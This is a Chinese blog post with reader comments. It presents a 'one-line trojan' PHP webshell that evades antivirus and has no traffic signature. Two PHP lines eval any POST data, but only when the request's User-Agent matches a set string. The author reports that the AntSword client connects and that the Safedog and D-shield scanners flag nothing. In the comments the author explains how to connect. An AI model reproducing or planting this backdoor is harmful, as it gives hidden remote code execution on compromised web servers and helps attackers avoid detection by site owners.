无流量特征(无固定参数密码)免杀一句话木马

Mr.Wu 1,098 9

在土司看到的一个 奇技淫巧 

经过测试可用

<?php if($_SERVER[HTTP_USER_AGENT]==="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36  "){eval(reset(get_defined_vars()[_POST]));};?>

//或者
<?php if($_SERVER[HTTP_USER_AGENT]==="123"){eval(reset(get_defined_vars()[_POST]));};?>

蚁剑链接测试:

安全狗和D盾均未提示

打赏
发表评论 取消回复
表情 图片 链接 代码

  1. 108321
    108321 Lv 1

    请问提示:Parse error: syntax error, unexpected '[' in C:\phpStudy\PHPTutorial\WWW\wumima.php on line 4这个是啥情况啊,

  2. 108321
    108321 Lv 1

    T00ls-user-nopay

  3. 1
    1 Lv 1

    有点骚

  4. XKK
    XKK Lv 1

    连接密码填什么啊

    • Mr.Wu
      Mr.Wu 站长

      @XKK链接密码随便填 ,你看我第一张图,主要是 headers

  5. noname
    noname Lv 1

    这个是真的好用!牛逼

  6. 1
    1 Lv 1

    好家伙,难怪这么眼熟,原来是我那个帖子,啾咪[aru_15]

  7. c0sMx
    c0sMx Lv 2

    学到了[aru_13]

分享
微信
微博
QQ